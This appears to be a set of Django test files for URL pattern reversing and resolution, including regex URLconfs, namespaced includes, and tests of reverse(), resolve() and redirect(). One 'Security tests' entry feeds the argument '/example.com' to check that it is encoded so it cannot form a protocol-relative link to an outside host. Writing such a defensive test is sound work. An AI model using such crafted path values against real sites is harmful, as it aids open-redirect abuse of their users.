    url(r'^price/[\$]([0-9]+)/$', empty_view, name="price3"),
    url(r'^product/(?P<product>\w+)\+\(\$(?P<price>[0-9]+(\.[0-9]+)?)\)/$', empty_view, name="product"),
    url(r'^headlines/(?P<year>[0-9]+)\.(?P<month>[0-9]+)\.(?P<day>[0-9]+)/$', empty_view, name="headlines"),
    url(r'^windows_path/(?P<drive_name>[A-Z]):\\(?P<path>.+)/$', empty_view, name="windows"),
    url(r'^special_chars/(?P<chars>.+)/$', empty_view, name="special"),
    url(r'^(?P<name>.+)/[0-9]+/$', empty_view, name="mixed"),
    url(r'^repeats/a{1,2}/$', empty_view, name="repeats"),
    url(r'^repeats/a{2,4}/$', empty_view, name="repeats2"),
    url(r'^repeats/a{2}/$', empty_view, name="repeats3"),
    url(r'^(?i)CaseInsensitive/(\w+)', empty_view, name="insensitive"),
    url(r'^test/1/?', empty_view, name="test"),
    url(r'^(?i)test/2/?$', empty_view, name="test2"),
    url(r'^outer/(?P<outer>[0-9]+)/', include('urlpatterns_reverse.included_urls')),
    url(r'^outer-no-kwargs/([0-9]+)/', include('urlpatterns_reverse.included_no_kwargs_urls')),
    url('', include('urlpatterns_reverse.extra_urls')),
    url(r'^lookahead-/(?!not-a-city)(?P<city>[^/]+)/$', empty_view, name='lookahead-negative'),
    url(r'^lookahead\+/(?=a-city)(?P<city>[^/]+)/$', empty_view, name='lookahead-positive'),
    url(r'^lookbehind-/(?P<city>[^/]+)(?<!not-a-city)/$', empty_view, name='lookbehind-negative'),
    url(r'^lookbehind\+/(?P<city>[^/]+)(?<=a-city)/$', empty_view, name='lookbehind-positive'),

    # Partials should be fine.
    url(r'^partial/', empty_view_partial, name="partial"),
    url(r'^partial_nested/', empty_view_nested_partial, name="partial_nested"),
    url(r'^partial_wrapped/', empty_view_wrapped, name="partial_wrapped"),

    # This is non-reversible, but we shouldn't blow up when parsing it.
    url(r'^(?:foo|bar)(\w+)/$', empty_view, name="disjunction"),

    url(r'absolute_arg_view/$', absolute_kwargs_view),

    # Tests for #13154. Mixed syntax to test both ways of defining URLs.
    url(r'defaults_view1/(?P<arg1>[0-9]+)/', defaults_view, {'arg2': 1}, name='defaults'),
    url(r'defaults_view2/(?P<arg1>[0-9]+)/', defaults_view, {'arg2': 2}, 'defaults'),

    url('^includes/', include(other_patterns)),

    # Security tests
    url('(.+)/security/$', empty_view, name='security'),
]






"""
These URL patterns are included in two different ways in the main urls.py, with
an extra argument present in one case. Thus, there are two different ways for
each name to resolve and Django must distinguish the possibilities based on the
argument list.
"""

from django.conf.urls import url

from .views import empty_view

urlpatterns = [
    url(r'^part/(?P<value>\w+)/$', empty_view, name="part"),
    url(r'^part2/(?:(?P<value>\w+)/)?$', empty_view, name="part2"),
]






# I just raise an AttributeError to confuse the view loading mechanism
raise AttributeError('I am here to confuse django.urls.get_callable')






from django.conf.urls import url

from . import views

app_name = 'inc-app'
urlpatterns = [
    url(r'^normal/$', views.empty_view, name='inc-normal-view'),
    url(r'^normal/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view, name='inc-normal-view'),

    url(r'^\+\\\$\*/$', views.empty_view, name='inc-special-view'),

    url(r'^mixed_args/([0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view, name='inc-mixed-args'),
    url(r'^no_kwargs/([0-9]+)/([0-9]+)/$', views.empty_view, name='inc-no-kwargs'),

    url(r'^view_class/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.view_class_instance, name='inc-view-class'),
]






# Used by the ErrorHandlerResolutionTests test case.

urlpatterns = []

handler400 = 'urlpatterns_reverse.views.empty_view'
handler404 = 'urlpatterns_reverse.views.empty_view'
handler500 = 'urlpatterns_reverse.views.empty_view'












from django.conf.urls import url

from .views import empty_view

urlpatterns = [
    url(r'^inner-no-kwargs/([0-9]+)/', empty_view, name="inner-no-kwargs")
]






from django.conf.urls import include, url

from .views import empty_view

urlpatterns = [
    url(r'^$', empty_view, name="named-url1"),
    url(r'^extra/(?P<extra>\w+)/$', empty_view, name="named-url2"),
    url(r'^(?P<one>[0-9]+)|(?P<two>[0-9]+)/$', empty_view),
    url(r'^included/', include('urlpatterns_reverse.included_named_urls')),
]












# -*- coding: utf-8 -*-
"""
Unit tests for reverse URL lookups.
"""
from __future__ import unicode_literals

import sys
import threading
import unittest

from admin_scripts.tests import AdminScriptTestCase

from django.conf import settings
from django.conf.urls import include, url
from django.contrib.auth.models import User
from django.core.exceptions import ImproperlyConfigured, ViewDoesNotExist
from django.http import (
    HttpRequest, HttpResponsePermanentRedirect, HttpResponseRedirect,
)
from django.shortcuts import redirect
from django.test import (
    SimpleTestCase, TestCase, ignore_warnings, override_settings,
)
from django.test.utils import override_script_prefix
from django.urls import (
    NoReverseMatch, RegexURLPattern, RegexURLResolver, Resolver404,
    ResolverMatch, get_callable, get_resolver, resolve, reverse, reverse_lazy,
)
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning

from . import middleware, urlconf_outer, views
from .utils import URLObject
from .views import empty_view

resolve_test_data = (
    # These entries are in the format: (path, url_name, app_name, namespace, view_name, func, args, kwargs)
    # Simple case
    ('/normal/42/37/', 'normal-view', '', '', 'normal-view', views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}),
    (
        '/view_class/42/37/', 'view-class', '', '', 'view-class', views.view_class_instance, tuple(),
        {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/included/normal/42/37/', 'inc-normal-view', '', '', 'inc-normal-view', views.empty_view, tuple(),
        {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/included/view_class/42/37/', 'inc-view-class', '', '', 'inc-view-class', views.view_class_instance, tuple(),
        {'arg1': '42', 'arg2': '37'}
    ),

    # Unnamed args are dropped if you have *any* kwargs in a pattern
    ('/mixed_args/42/37/', 'mixed-args', '', '', 'mixed-args', views.empty_view, tuple(), {'arg2': '37'}),
    (
        '/included/mixed_args/42/37/', 'inc-mixed-args', '', '', 'inc-mixed-args', views.empty_view, tuple(),
        {'arg2': '37'}
    ),
    (
        '/included/12/mixed_args/42/37/', 'inc-mixed-args', '', '', 'inc-mixed-args', views.empty_view, tuple(),
        {'arg2': '37'}
    ),

    # Unnamed views should have None as the url_name. Regression data for #21157.
    (
        '/unnamed/normal/42/37/', None, '', '', 'urlpatterns_reverse.views.empty_view', views.empty_view, tuple(),
        {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/unnamed/view_class/42/37/', None, '', '', 'urlpatterns_reverse.views.ViewClass', views.view_class_instance,
        tuple(), {'arg1': '42', 'arg2': '37'}
    ),

    # If you have no kwargs, you get an args list.
    ('/no_kwargs/42/37/', 'no-kwargs', '', '', 'no-kwargs', views.empty_view, ('42', '37'), {}),
    ('/included/no_kwargs/42/37/', 'inc-no-kwargs', '', '', 'inc-no-kwargs', views.empty_view, ('42', '37'), {}),
    (
        '/included/12/no_kwargs/42/37/', 'inc-no-kwargs', '', '', 'inc-no-kwargs', views.empty_view,
        ('12', '42', '37'), {}
    ),

    # Namespaces
    (
        '/test1/inner/42/37/', 'urlobject-view', 'testapp', 'test-ns1', 'test-ns1:urlobject-view',
        views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/included/test3/inner/42/37/', 'urlobject-view', 'testapp', 'test-ns3', 'test-ns3:urlobject-view',
        views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/ns-included1/normal/42/37/', 'inc-normal-view', '', 'inc-ns1', 'inc-ns1:inc-normal-view', views.empty_view,
        tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/included/test3/inner/42/37/', 'urlobject-view', 'testapp', 'test-ns3', 'test-ns3:urlobject-view',
        views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/default/inner/42/37/', 'urlobject-view', 'testapp', 'testapp', 'testapp:urlobject-view', views.empty_view,
        tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/other2/inner/42/37/', 'urlobject-view', 'nodefault', 'other-ns2', 'other-ns2:urlobject-view',
        views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/other1/inner/42/37/', 'urlobject-view', 'nodefault', 'other-ns1', 'other-ns1:urlobject-view',
        views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),

    # Nested namespaces
    (
        '/ns-included1/test3/inner/42/37/', 'urlobject-view', 'testapp', 'inc-ns1:test-ns3',
        'inc-ns1:test-ns3:urlobject-view', views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/ns-included1/ns-included4/ns-included2/test3/inner/42/37/', 'urlobject-view', 'testapp',
        'inc-ns1:inc-ns4:inc-ns2:test-ns3', 'inc-ns1:inc-ns4:inc-ns2:test-ns3:urlobject-view', views.empty_view,
        tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/app-included/test3/inner/42/37/', 'urlobject-view', 'inc-app:testapp', 'inc-app:test-ns3',
        'inc-app:test-ns3:urlobject-view', views.empty_view, tuple(), {'arg1': '42', 'arg2': '37'}
    ),
    (
        '/app-included/ns-included4/ns-included2/test3/inner/42/37/', 'urlobject-view', 'inc-app:testapp',
        'inc-app:inc-ns4:inc-ns2:test-ns3', 'inc-app:inc-ns4:inc-ns2:test-ns3:urlobject-view', views.empty_view,
        tuple(), {'arg1': '42', 'arg2': '37'}
    ),

    # Namespaces capturing variables
    ('/inc70/', 'inner-nothing', '', 'inc-ns5', 'inc-ns5:inner-nothing', views.empty_view, tuple(), {'outer': '70'}),
    (
        '/inc78/extra/foobar/', 'inner-extra', '', 'inc-ns5', 'inc-ns5:inner-extra', views.empty_view, tuple(),
        {'outer': '78', 'extra': 'foobar'}
    ),
)

test_data = (
    ('places', '/places/3/', [3], {}),
    ('places', '/places/3/', ['3'], {}),
    ('places', NoReverseMatch, ['a'], {}),
    ('places', NoReverseMatch, [], {}),
    ('places?', '/place/', [], {}),
    ('places+', '/places/', [], {}),
    ('places*', '/place/', [], {}),
    ('places2?', '/', [], {}),
    ('places2+', '/places/', [], {}),
    ('places2*', '/', [], {}),
    ('places3', '/places/4/', [4], {}),
    ('places3', '/places/harlem/', ['harlem'], {}),
    ('places3', NoReverseMatch, ['harlem64'], {}),
    ('places4', '/places/3/', [], {'id': 3}),
    ('people', NoReverseMatch, [], {}),
    ('people', '/people/adrian/', ['adrian'], {}),
    ('people', '/people/adrian/', [], {'name': 'adrian'}),
    ('people', NoReverseMatch, ['name with spaces'], {}),
    ('people', NoReverseMatch, [], {'name': 'name with spaces'}),
    ('people2', '/people/name/', [], {}),
    ('people2a', '/people/name/fred/', ['fred'], {}),
    ('people_backref', '/people/nate-nate/', ['nate'], {}),
    ('people_backref', '/people/nate-nate/', [], {'name': 'nate'}),
    ('optional', '/optional/fred/', [], {'name': 'fred'}),
    ('optional', '/optional/fred/', ['fred'], {}),
    ('named_optional', '/optional/1/', [1], {}),
    ('named_optional', '/optional/1/', [], {'arg1': 1}),
    ('named_optional', '/optional/1/2/', [1, 2], {}),
    ('named_optional', '/optional/1/2/', [], {'arg1': 1, 'arg2': 2}),
    ('named_optional_terminated', '/optional/1/2/', [1, 2], {}),
    ('named_optional_terminated', '/optional/1/2/', [], {'arg1': 1, 'arg2': 2}),
    ('hardcoded', '/hardcoded/', [], {}),
    ('hardcoded2', '/hardcoded/doc.pdf', [], {}),
    ('people3', '/people/il/adrian/', [], {'state': 'il', 'name': 'adrian'}),
    ('people3', NoReverseMatch, [], {'state': 'il'}),
    ('people3', NoReverseMatch, [], {'name': 'adrian'}),
    ('people4', NoReverseMatch, [], {'state': 'il', 'name': 'adrian'}),
    ('people6', '/people/il/test/adrian/', ['il/test', 'adrian'], {}),
    ('people6', '/people//adrian/', ['adrian'], {}),
    ('range', '/character_set/a/', [], {}),
    ('range2', '/character_set/x/', [], {}),
    ('price', '/price/$10/', ['10'], {}),
    ('price2', '/price/$10/', ['10'], {}),
    ('price3', '/price/$10/', ['10'], {}),
    ('product', '/product/chocolate+($2.00)/', [], {'price': '2.00', 'product': 'chocolate'}),
    ('headlines', '/headlines/2007.5.21/', [], dict(year=2007, month=5, day=21)),
    (
        'windows', r'/windows_path/C:%5CDocuments%20and%20Settings%5Cspam/', [],
        dict(drive_name='C', path=r'Documents and Settings\spam')
    ),
    ('special', r'/special_chars/~@+%5C$*%7C/', [r'~@+\$*|'], {}),
    ('special', r'/special_chars/some%20resource/', [r'some resource'], {}),
    ('special', r'/special_chars/10%25%20complete/', [r'10% complete'], {}),
    ('special', r'/special_chars/some%20resource/', [], {'chars': r'some resource'}),
    ('special', r'/special_chars/10%25%20complete/', [], {'chars': r'10% complete'}),
    ('special', NoReverseMatch, [''], {}),
    ('mixed', '/john/0/', [], {'name': 'john'}),
    ('repeats', '/repeats/a/', [], {}),
    ('repeats2', '/repeats/aa/', [], {}),
    ('repeats3', '/repeats/aa/', [], {}),
    ('insensitive', '/CaseInsensitive/fred', ['fred'], {}),
    ('test', '/test/1', [], {}),
    ('test2', '/test/2', [], {}),
    ('inner-nothing', '/outer/42/', [], {'outer': '42'}),
    ('inner-nothing', '/outer/42/', ['42'], {}),
    ('inner-nothing', NoReverseMatch, ['foo'], {}),
    ('inner-extra', '/outer/42/extra/inner/', [], {'extra': 'inner', 'outer': '42'}),
    ('inner-extra', '/outer/42/extra/inner/', ['42', 'inner'], {}),
    ('inner-extra', NoReverseMatch, ['fred', 'inner'], {}),
    ('inner-no-kwargs', '/outer-no-kwargs/42/inner-no-kwargs/1/', ['42', '1'], {}),
    ('disjunction', NoReverseMatch, ['foo'], {}),
    ('inner-disjunction', NoReverseMatch, ['10', '11'], {}),
    ('extra-places', '/e-places/10/', ['10'], {}),
    ('extra-people', '/e-people/fred/', ['fred'], {}),
    ('extra-people', '/e-people/fred/', [], {'name': 'fred'}),
    ('part', '/part/one/', [], {'value': 'one'}),
    ('part', '/prefix/xx/part/one/', [], {'value': 'one', 'prefix': 'xx'}),
    ('part2', '/part2/one/', [], {'value': 'one'}),
    ('part2', '/part2/', [], {}),
    ('part2', '/prefix/xx/part2/one/', [], {'value': 'one', 'prefix': 'xx'}),
    ('part2', '/prefix/xx/part2/', [], {'prefix': 'xx'}),

    # Tests for nested groups. Nested capturing groups will only work if you
    # *only* supply the correct outer group.
    ('nested-noncapture', '/nested/noncapture/opt', [], {'p': 'opt'}),
    ('nested-capture', '/nested/capture/opt/', ['opt/'], {}),
    ('nested-capture', NoReverseMatch, [], {'p': 'opt'}),
    ('nested-mixedcapture', '/nested/capture/mixed/opt', ['opt'], {}),
    ('nested-mixedcapture', NoReverseMatch, [], {'p': 'opt'}),
    ('nested-namedcapture', '/nested/capture/named/opt/', [], {'outer': 'opt/'}),
    ('nested-namedcapture', NoReverseMatch, [], {'outer': 'opt/', 'inner': 'opt'}),
    ('nested-namedcapture', NoReverseMatch, [], {'inner': 'opt'}),

    ('non_path_include', '/includes/non_path_include/', [], {}),

    # Tests for #13154
    ('defaults', '/defaults_view1/3/', [], {'arg1': 3, 'arg2': 1}),
    ('defaults', '/defaults_view2/3/', [], {'arg1': 3, 'arg2': 2}),
    ('defaults', NoReverseMatch, [], {'arg1': 3, 'arg2': 3}),
    ('defaults', NoReverseMatch, [], {'arg2': 1}),

    # Security tests
    ('security', '/%2Fexample.com/security/', ['/example.com'], {}),
)


@override_settings(ROOT_URLCONF='urlpatterns_reverse.no_urls')
class NoURLPatternsTests(SimpleTestCase):

    def test_no_urls_exception(self):
        """
        RegexURLResolver should raise an exception when no urlpatterns exist.
        """
        resolver = RegexURLResolver(r'^$', settings.ROOT_URLCONF)

        with self.assertRaisesMessage(
            ImproperlyConfigured,
            "The included URLconf 'urlpatterns_reverse.no_urls' does not "
            "appear to have any patterns in it. If you see valid patterns in "
            "the file then the issue is probably caused by a circular import."
        ):
            getattr(resolver, 'url_patterns')


@override_settings(ROOT_URLCONF='urlpatterns_reverse.urls')
class URLPatternReverse(SimpleTestCase):

    def test_urlpattern_reverse(self):
        for name, expected, args, kwargs in test_data:
            try:
                got = reverse(name, args=args, kwargs=kwargs)
            except NoReverseMatch:
                self.assertEqual(expected, NoReverseMatch)
            else:
                self.assertEqual(got, expected)

    def test_reverse_none(self):
        # Reversing None should raise an error, not return the last un-named view.
        with self.assertRaises(NoReverseMatch):
            reverse(None)

    @override_script_prefix('/{{invalid}}/')
    def test_prefix_braces(self):
        self.assertEqual(
            '/%7B%7Binvalid%7D%7D/includes/non_path_include/',
            reverse('non_path_include')
        )

    def test_prefix_parenthesis(self):
        # Parentheses are allowed and should not cause errors or be escaped
        with override_script_prefix('/bogus)/'):
            self.assertEqual(
                '/bogus)/includes/non_path_include/',
                reverse('non_path_include')
            )
        with override_script_prefix('/(bogus)/'):
            self.assertEqual(
                '/(bogus)/includes/non_path_include/',
                reverse('non_path_include')
            )

    @override_script_prefix('/bump%20map/')
    def test_prefix_format_char(self):
        self.assertEqual(
            '/bump%2520map/includes/non_path_include/',
            reverse('non_path_include')
        )

    @override_script_prefix('/%7Eme/')
    def test_non_urlsafe_prefix_with_args(self):
        # Regression for #20022, adjusted for #24013 because ~ is an unreserved
        # character. Tests whether % is escaped.
        self.assertEqual('/%257Eme/places/1/', reverse('places', args=[1]))

    def test_patterns_reported(self):
        # Regression for #17076
        with self.assertRaisesMessage(NoReverseMatch, r"1 pattern(s) tried: ['people/(?P<name>\\w+)/$']"):
            # this url exists, but requires an argument
            reverse("people", args=[])

    @override_script_prefix('/script:name/')
    def test_script_name_escaping(self):
        self.assertEqual(
            reverse('optional', args=['foo:bar']),
            '/script:name/optional/foo:bar/'
        )

    def test_reverse_returns_unicode(self):
        name, expected, args, kwargs = test_data[0]
        self.assertIsInstance(
            reverse(name, args=args, kwargs=kwargs),
            six.text_type
        )


class ResolverTests(SimpleTestCase):
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_resolver_repr(self):
        """
        Test repr of RegexURLResolver, especially when urlconf_name is a list
        (#17892).
        """
        # Pick a resolver from a namespaced URLconf
        resolver = get_resolver('urlpatterns_reverse.namespace_urls')
        sub_resolver = resolver.namespace_dict['test-ns1'][1]
        self.assertIn('<RegexURLPattern list>', repr(sub_resolver))

    def test_reverse_lazy_object_coercion_by_resolve(self):
        """
        Verifies lazy object returned by reverse_lazy is coerced to
        text by resolve(). Previous to #21043, this would raise a TypeError.
        """
        urls = 'urlpatterns_reverse.named_urls'
        proxy_url = reverse_lazy('named-url1', urlconf=urls)
        resolver = get_resolver(urls)
        resolver.resolve(proxy_url)

    def test_resolver_reverse(self):
        resolver = get_resolver('urlpatterns_reverse.named_urls')
        self.assertEqual(resolver.reverse('named-url1'), '')
        self.assertEqual(resolver.reverse('named-url2', 'arg'), 'extra/arg/')
        self.assertEqual(resolver.reverse('named-url2', extra='arg'), 'extra/arg/')

    def test_non_regex(self):
        """
        Verifies that we raise a Resolver404 if what we are resolving doesn't
        meet the basic requirements of a path to match - i.e., at the very
        least, it matches the root pattern '^/'. We must never return None
        from resolve, or we will get a TypeError further down the line.

        Regression for #10834.
        """
        with self.assertRaises(Resolver404):
            resolve('')
        with self.assertRaises(Resolver404):
            resolve('a')
        with self.assertRaises(Resolver404):
            resolve('\\')
        with self.assertRaises(Resolver404):
            resolve('.')

    def test_404_tried_urls_have_names(self):
        """
        Verifies that the list of URLs that come back from a Resolver404
        exception contains a list in the right format for printing out in
        the DEBUG 404 page with both the patterns and URL names, if available.
        """
        urls = 'urlpatterns_reverse.named_urls'
        # this list matches the expected URL types and names returned when
        # you try to resolve a non-existent URL in the first level of included
        # URLs in named_urls.py (e.g., '/included/non-existent-url')
        url_types_names = [
            [{'type': RegexURLPattern, 'name': 'named-url1'}],
            [{'type': RegexURLPattern, 'name': 'named-url2'}],
            [{'type': RegexURLPattern, 'name': None}],
            [{'type': RegexURLResolver}, {'type': RegexURLPattern, 'name': 'named-url3'}],
            [{'type': RegexURLResolver}, {'type': RegexURLPattern, 'name': 'named-url4'}],
            [{'type': RegexURLResolver}, {'type': RegexURLPattern, 'name': None}],
            [{'type': RegexURLResolver}, {'type': RegexURLResolver}],
        ]
        with self.assertRaisesMessage(Resolver404, b'tried' if six.PY2 else 'tried') as cm:
            resolve('/included/non-existent-url', urlconf=urls)
        e = cm.exception
        # make sure we at least matched the root ('/') url resolver:
        self.assertIn('tried', e.args[0])
        tried = e.args[0]['tried']
        self.assertEqual(
            len(e.args[0]['tried']),
            len(url_types_names),
            'Wrong number of tried URLs returned.  Expected %s, got %s.' % (
                len(url_types_names), len(e.args[0]['tried'])
            )
        )
        for tried, expected in zip(e.args[0]['tried'], url_types_names):
            for t, e in zip(tried, expected):
                self.assertIsInstance(t, e['type']), str('%s is not an instance of %s') % (t, e['type'])
                if 'name' in e:
                    if not e['name']:
                        self.assertIsNone(t.name, 'Expected no URL name but found %s.' % t.name)
                    else:
                        self.assertEqual(
                            t.name,
                            e['name'],
                            'Wrong URL name.  Expected "%s", got "%s".' % (e['name'], t.name)
                        )

    def test_namespaced_view_detail(self):
        resolver = get_resolver('urlpatterns_reverse.nested_urls')
        self.assertTrue(resolver._is_callback('urlpatterns_reverse.nested_urls.view1'))
        self.assertTrue(resolver._is_callback('urlpatterns_reverse.nested_urls.view2'))
        self.assertTrue(resolver._is_callback('urlpatterns_reverse.nested_urls.View3'))
        self.assertFalse(resolver._is_callback('urlpatterns_reverse.nested_urls.blub'))

    @unittest.skipIf(six.PY2, "Python 2 doesn't support __qualname__.")
    def test_view_detail_as_method(self):
        # Views which have a class name as part of their path.
        resolver = get_resolver('urlpatterns_reverse.method_view_urls')
        self.assertTrue(resolver._is_callback('urlpatterns_reverse.method_view_urls.ViewContainer.method_view'))
        self.assertTrue(resolver._is_callback('urlpatterns_reverse.method_view_urls.ViewContainer.classmethod_view'))

    def test_populate_concurrency(self):
        """
        RegexURLResolver._populate() can be called concurrently, but not more
        than once per thread (#26888).
        """
        resolver = RegexURLResolver(r'^/', 'urlpatterns_reverse.urls')
        resolver._local.populating = True
        thread = threading.Thread(target=resolver._populate)
        thread.start()
        thread.join()
        self.assertNotEqual(resolver._reverse_dict, {})


@override_settings(ROOT_URLCONF='urlpatterns_reverse.reverse_lazy_urls')
class ReverseLazyTest(TestCase):

    def test_redirect_with_lazy_reverse(self):
        response = self.client.get('/redirect/')
        self.assertRedirects(response, "/redirected_to/", status_code=302)

    def test_user_permission_with_lazy_reverse(self):
        alfred = User.objects.create_user('alfred', 'alfred@example.com', password='testpw')
        response = self.client.get('/login_required_view/')
        self.assertRedirects(response, "/login/?next=/login_required_view/", status_code=302)
        self.client.force_login(alfred)
        response = self.client.get('/login_required_view/')
        self.assertEqual(response.status_code, 200)

    def test_inserting_reverse_lazy_into_string(self):
        self.assertEqual(
            'Some URL: %s' % reverse_lazy('some-login-page'),
            'Some URL: /login/'
        )
        if six.PY2:
            self.assertEqual(
                b'Some URL: %s' % reverse_lazy('some-login-page'),
                'Some URL: /login/'
            )


class ReverseLazySettingsTest(AdminScriptTestCase):
    """
    Test that reverse_lazy can be used in settings without causing a circular
    import error.
    """
    def setUp(self):
        self.write_settings('settings.py', extra="""
from django.urls import reverse_lazy
LOGIN_URL = reverse_lazy('login')""")

    def tearDown(self):
        self.remove_settings('settings.py')

    def test_lazy_in_settings(self):
        out, err = self.run_manage(['check'])
        self.assertNoOutput(err)


@override_settings(ROOT_URLCONF='urlpatterns_reverse.urls')
class ReverseShortcutTests(SimpleTestCase):

    def test_redirect_to_object(self):
        # We don't really need a model; just something with a get_absolute_url
        class FakeObj(object):
            def get_absolute_url(self):
                return "/hi-there/"

        res = redirect(FakeObj())
        self.assertIsInstance(res, HttpResponseRedirect)
        self.assertEqual(res.url, '/hi-there/')

        res = redirect(FakeObj(), permanent=True)
        self.assertIsInstance(res, HttpResponsePermanentRedirect)
        self.assertEqual(res.url, '/hi-there/')

    def test_redirect_to_view_name(self):
        res = redirect('hardcoded2')
        self.assertEqual(res.url, '/hardcoded/doc.pdf')
        res = redirect('places', 1)
        self.assertEqual(res.url, '/places/1/')
        res = redirect('headlines', year='2008', month='02', day='17')
        self.assertEqual(res.url, '/headlines/2008.02.17/')
        with self.assertRaises(NoReverseMatch):
            redirect('not-a-view')

    def test_redirect_to_url(self):
        res = redirect('/foo/')
        self.assertEqual(res.url, '/foo/')
        res = redirect('http://example.com/')
        self.assertEqual(res.url, 'http://example.com/')
        # Assert that we can redirect using UTF-8 strings
        res = redirect('/æøå/abc/')
        self.assertEqual(res.url, '/%C3%A6%C3%B8%C3%A5/abc/')
        # Assert that no imports are attempted when dealing with a relative path
        # (previously, the below would resolve in a UnicodeEncodeError from __import__ )
        res = redirect('/æøå.abc/')
        self.assertEqual(res.url, '/%C3%A6%C3%B8%C3%A5.abc/')
        res = redirect('os.path')
        self.assertEqual(res.url, 'os.path')

    def test_no_illegal_imports(self):
        # modules that are not listed in urlpatterns should not be importable
        redirect("urlpatterns_reverse.nonimported_module.view")
        self.assertNotIn("urlpatterns_reverse.nonimported_module", sys.modules)

    def test_reverse_by_path_nested(self):
        # Views added to urlpatterns using include() should be reversible.
        from .views import nested_view
        self.assertEqual(reverse(nested_view), '/includes/nested_path/')

    def test_redirect_view_object(self):
        from .views import absolute_kwargs_view
        res = redirect(absolute_kwargs_view)
        self.assertEqual(res.url, '/absolute_arg_view/')
        with self.assertRaises(NoReverseMatch):
            redirect(absolute_kwargs_view, wrong_argument=None)


@override_settings(ROOT_URLCONF='urlpatterns_reverse.namespace_urls')
@ignore_warnings(category=RemovedInDjango20Warning)
class NamespaceTests(SimpleTestCase):

    def test_ambiguous_object(self):
        "Names deployed via dynamic URL objects that require namespaces can't be resolved"
        with self.assertRaises(NoReverseMatch):
            reverse('urlobject-view')
        with self.assertRaises(NoReverseMatch):
            reverse('urlobject-view', args=[37, 42])
        with self.assertRaises(NoReverseMatch):
            reverse('urlobject-view', kwargs={'arg1': 42, 'arg2': 37})

    def test_ambiguous_urlpattern(self):
        "Names deployed via dynamic URL objects that require namespaces can't be resolved"
        with self.assertRaises(NoReverseMatch):
            reverse('inner-nothing')
        with self.assertRaises(NoReverseMatch):
            reverse('inner-nothing', args=[37, 42])
        with self.assertRaises(NoReverseMatch):
            reverse('inner-nothing', kwargs={'arg1': 42, 'arg2': 37})

    def test_non_existent_namespace(self):
        "Non-existent namespaces raise errors"
        with self.assertRaises(NoReverseMatch):
            reverse('blahblah:urlobject-view')
        with self.assertRaises(NoReverseMatch):
            reverse('test-ns1:blahblah:urlobject-view')

    def test_normal_name(self):
        "Normal lookups work as expected"
        self.assertEqual('/normal/', reverse('normal-view'))
        self.assertEqual('/normal/37/42/', reverse('normal-view', args=[37, 42]))
        self.assertEqual('/normal/42/37/', reverse('normal-view', kwargs={'arg1': 42, 'arg2': 37}))
        self.assertEqual('/+%5C$*/', reverse('special-view'))

    def test_simple_included_name(self):
        "Normal lookups work on names included from other patterns"
        self.assertEqual('/included/normal/', reverse('inc-normal-view'))
        self.assertEqual('/included/normal/37/42/', reverse('inc-normal-view', args=[37, 42]))
        self.assertEqual('/included/normal/42/37/', reverse('inc-normal-view', kwargs={'arg1': 42, 'arg2': 37}))
        self.assertEqual('/included/+%5C$*/', reverse('inc-special-view'))

    def test_namespace_object(self):
        "Dynamic URL objects can be found using a namespace"
        self.assertEqual('/test1/inner/', reverse('test-ns1:urlobject-view'))
        self.assertEqual('/test1/inner/37/42/', reverse('test-ns1:urlobject-view', args=[37, 42]))
        self.assertEqual('/test1/inner/42/37/', reverse('test-ns1:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}))
        self.assertEqual('/test1/inner/+%5C$*/', reverse('test-ns1:urlobject-special-view'))

    def test_app_object(self):
        "Dynamic URL objects can return a (pattern, app_name) 2-tuple, and include() can set the namespace"
        self.assertEqual('/newapp1/inner/', reverse('new-ns1:urlobject-view'))
        self.assertEqual('/newapp1/inner/37/42/', reverse('new-ns1:urlobject-view', args=[37, 42]))
        self.assertEqual('/newapp1/inner/42/37/', reverse('new-ns1:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}))
        self.assertEqual('/newapp1/inner/+%5C$*/', reverse('new-ns1:urlobject-special-view'))

    def test_app_object_default_namespace(self):
        "Namespace defaults to app_name when including a (pattern, app_name) 2-tuple"
        self.assertEqual('/new-default/inner/', reverse('newapp:urlobject-view'))
        self.assertEqual('/new-default/inner/37/42/', reverse('newapp:urlobject-view', args=[37, 42]))
        self.assertEqual(
            '/new-default/inner/42/37/', reverse('newapp:urlobject-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/new-default/inner/+%5C$*/', reverse('newapp:urlobject-special-view'))

    def test_embedded_namespace_object(self):
        "Namespaces can be installed anywhere in the URL pattern tree"
        self.assertEqual('/included/test3/inner/', reverse('test-ns3:urlobject-view'))
        self.assertEqual('/included/test3/inner/37/42/', reverse('test-ns3:urlobject-view', args=[37, 42]))
        self.assertEqual(
            '/included/test3/inner/42/37/', reverse('test-ns3:urlobject-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/included/test3/inner/+%5C$*/', reverse('test-ns3:urlobject-special-view'))

    def test_namespace_pattern(self):
        "Namespaces can be applied to include()'d urlpatterns"
        self.assertEqual('/ns-included1/normal/', reverse('inc-ns1:inc-normal-view'))
        self.assertEqual('/ns-included1/normal/37/42/', reverse('inc-ns1:inc-normal-view', args=[37, 42]))
        self.assertEqual(
            '/ns-included1/normal/42/37/', reverse('inc-ns1:inc-normal-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/ns-included1/+%5C$*/', reverse('inc-ns1:inc-special-view'))

    def test_app_name_pattern(self):
        "Namespaces can be applied to include()'d urlpatterns that set an app_name attribute"
